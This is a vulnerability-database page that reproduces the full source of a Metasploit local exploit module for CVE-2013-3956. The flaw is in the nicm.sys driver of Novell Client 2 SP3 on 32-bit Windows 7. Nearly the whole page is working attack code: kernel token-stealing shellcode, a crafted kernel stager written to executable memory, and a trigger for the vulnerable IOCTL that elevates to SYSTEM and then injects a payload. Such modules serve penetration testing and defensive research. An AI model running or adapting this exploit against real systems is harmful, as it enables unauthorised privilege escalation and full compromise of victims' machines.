Lucene search
K

Novell Client 2 SP3 nicm.sys Local Privilege Escalation

🗓️ 25 Jun 2013 04:51:28Reported by Unknown, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 48 Views

Novell Client 2 SP3 nicm.sys Local Privilege Escalation. Exploits a flaw in the nicm.sys driver to execute arbitrary code in kernel space. Occurs while handling ioctl requests with code 0x143B6B. Successfully tested on Windows 7 SP1 with Novell Client 2 SP3

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
          'Description' => %q{
            This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
            kernel space. The vulnerability occurs while handling ioctl requests with code
            0x143B6B, where a user provided pointer is used as function pointer. The module
            has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Unknown', # Vulnerability discovery
            'juan vazquez' # MSF module
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
            # as installed with Novell Client 2 SP3 for Windows 7
            [ 'Automatic', {} ],
            [
              'Windows 7 SP1',
              {
                'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
                '_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
                '_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
                '_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
                '_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
              }
            ]
          ],
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2013-3956' ],
            [ 'OSVDB', '93718' ],
            [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
            [ 'URL', 'http://pastebin.com/GB4iiEwR' ]
          ],
          'DisclosureDate' => '2013-05-22',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_process_attach
                stdapi_sys_process_memory_write
              ]
            }
          }
        }
      )
    )
  end

  def open_device(dev)
    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def ring0_shellcode(t)
    tokenstealing = "\x52" # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+50h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0f8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+b8h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,b8h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0f8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0f8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
    tokenstealing << "\xc2\x08"                                               # ret 08h                          # Away from the kernel!

    return tokenstealing
  end

  def allocate_memory(proc, address, length)
    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')

    if !(result['BaseAddress']) || result['BaseAddress'].empty?
      vprint_error('Failed to allocate memory')
      return nil
    end

    my_address = result['BaseAddress'].unpack('V')[0]

    vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")

    if !proc.memory.writable?(my_address)
      vprint_error('Failed to allocate memory')
      return nil
    else
      vprint_good("0x#{my_address.to_s(16)} is now writable")
    end

    return my_address
  end

  def junk(n = 4)
    return rand_text_alpha(n).unpack('V').first
  end

  def check
    handle = open_device('\\\\.\\nicm')
    if handle.nil?
      return Exploit::CheckCode::Safe
    end

    session.railgun.kernel32.CloseHandle(handle)
    return Exploit::CheckCode::Detected
  end

  def exploit
    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    my_target = nil
    if target.name =~ /Automatic/
      print_status('Detecting the target system...')
      version = get_version_info
      if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && !version.windows_server?
        my_target = targets[1]
        print_status("Running against #{my_target.name}")
      end
    else
      my_target = target
    end

    if my_target.nil?
      fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
    end

    print_status('Checking device...')
    handle = open_device('\\\\.\\nicm')
    if handle.nil?
      fail_with(Failure::NoTarget, '\\\\.\\nicm device not found')
    else
      print_good('\\\\.\\nicm found!')
    end

    this_proc = session.sys.process.open

    print_status('Storing the Kernel stager on memory...')
    stager_address = 0x0d0d0000
    stager_address = allocate_memory(this_proc, stager_address, 0x1000)

    if stager_address.nil? || (stager_address == 0)
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Failed to allocate memory')
    end

    # eax => &kernel_stager
    # .text:000121A3 mov     ecx, eax
    # .text:000121A5 mov     eax, [ecx]
    # .text:000121A7 mov     edx, [eax]
    # .text:000121A9 push    ecx
    # .text:000121AA push    eax
    # .text:000121AB call    dword ptr [edx+0Ch]
    kernel_stager = [
      stager_address + 0x14, # stager_address
      junk,
      junk,
      junk,
      junk,
      stager_address + 0x18, # stager_address + 0x14
      junk,
      junk,
      junk,
      stager_address + 0x28  # stager_address + 0x24
    ].pack('V*')

    kernel_stager << ring0_shellcode(my_target)

    result = this_proc.memory.write(stager_address, kernel_stager)

    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Failed to write contents to memory')
    else
      vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
    end

    print_status('Triggering the vulnerability to execute the Kernel Handler')
    magic_ioctl = 0x143B6B # Vulnerable IOCTL
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
    session.railgun.kernel32.CloseHandle(handle)

    if ioctl['GetLastError'] != 0
      print_error('Something wrong while triggering the vulnerability, anyway checking privileges...')
    end

    print_status('Checking privileges after exploitation...')

    if !is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    else
      print_good('Exploitation successful!')
    end

    p = payload.encoded
    print_status("Injecting #{p.length} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good('Enjoy')
    else
      fail_with(Failure::Unknown, 'Error while executing the payload')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation